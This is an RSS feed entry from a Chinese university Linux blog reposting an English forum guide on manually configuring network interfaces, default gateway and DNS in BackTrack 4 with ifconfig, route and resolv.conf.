		<comments>http://linux.cuit.edu.cn/?p=895#comments</comments>
		<pubDate>Sat, 23 Jan 2010 02:31:14 +0000</pubDate>
		<dc:creator>renewjoy</dc:creator>
		
		<category><![CDATA[奇技淫巧]]></category>

		<category><![CDATA[桌面应用]]></category>

		<category><![CDATA[脚本、编程]]></category>

		<category><![CDATA[bt4]]></category>

		<category><![CDATA[ifconfig]]></category>

		<category><![CDATA[netmask]]></category>

		<category><![CDATA[network]]></category>

		<guid isPermaLink="false">http://linux.cuit.edu.cn/?p=895</guid>
		<description><![CDATA[从国外论坛找到的，虽然是以bt4来讲的，但是应该适合大多数的版本。
语言很简单，就不用翻译了。
要点：
1、如何手动设置IP地址和子网掩码？
2、如何设置默认路由？
3、如何设置DNS?
因此，它做的事情，就是在windows里面，点tcp/ip右键，然后“手动设置IP”。
Configure Network Cards, How to
So you have Backtrack running installed on a HDD, you can now configure your cards to use the network. You can also do this exactly the same if you are running the distro from the CD, but your settings will not be saved as the CD is a read only medium. [...]]]></description>
			<content:encoded><![CDATA[<p>从国外论坛找到的，虽然是以bt4来讲的，但是应该适合大多数的版本。</p>
<p>语言很简单，就不用翻译了。</p>
<p>要点：</p>
<p>1、如何手动设置IP地址和子网掩码？</p>
<p>2、如何设置默认路由？</p>
<p>3、如何设置DNS?</p>
<p>因此，它做的事情，就是在windows里面，点tcp/ip右键，然后“手动设置IP”。</p>
<p>Configure Network Cards, How to</p>
<p>So you have Backtrack running installed on a HDD, you can now configure your cards to use the network. You can also do this exactly the same if you are running the distro from the CD, but your settings will not be saved as the CD is a read only medium. There are plenty of different ways to configure these wired cards and plenty of tools to do it. What I am showing here is the generic Linux commands which should be the same for other distro&#8217;s.</p>
<p><span id="more-895"></span></p>
<p>To turn on your ethernet network card (LAN):</p>
<p># ifconfig eth0 up</p>
<p>The eth0 is the name of the card, this could change depending on what hardware you have installed. To get a list of all adapters:</p>
<p># ifconfig -a</p>
<p>This will list all (-a) interfaces.</p>
<p>To get DHCP to assign a network address automatically from the DHCP server:</p>
<p># dhcpclient eth0</p>
<p>This will run it only on eth0, if you omitted the interface you would run the DHCP discovery process on all compatible cards.</p>
<p>Then check if you have an address:</p>
<p># ifconfig eth0</p>
<p>You should see an IP address in there somewhere.</p>
<p>If you want a static IP address instead of a dynamic one:</p>
<p># ifconfig eth0 192.168.1.2</p>
<p>Or whatever IP you want! If you want a variable subnet mask (beyond the scope of this thread!):</p>
<p># ifconfig eth0 192.168.1.2 netmask 255.255.255.224</p>
<p>To manually add a default gateway:</p>
<p># route add default gw 192.168.1.1 eth0</p>
<p>Of course you would replace the IP address with your default gateways, also the eth0 interface is not always needed!</p>
<p>To manually assign your DNS servers:</p>
<p># echo nameserver 192.168.1.1 &gt;&gt; /etc/resolv.conf</p>
<p>All of this may have been done for you automatically with DHCP anyway, so to check:</p>
<p># cat /etc/resolv.conf</p>
<p>This will display to you the contents of the /etc/resolv.conf file.</p>
<p>To change your DHCP address if it has already been assigned you need to delete the DHCP file assigned to the card:</p>
<p># rm /etc/dhcpc/dhcpcd-eth0.pid</p>
<p>Although that may change based on the interfaces you have!</p>
<p>Then run the dhcpcd command again.</p>
]]></content:encoded>
			<wfw:commentRss>http://linux.cuit.edu.cn/?feed=rss2&amp;p=895</wfw:commentRss>
		</item>
	</channel>
</rss>
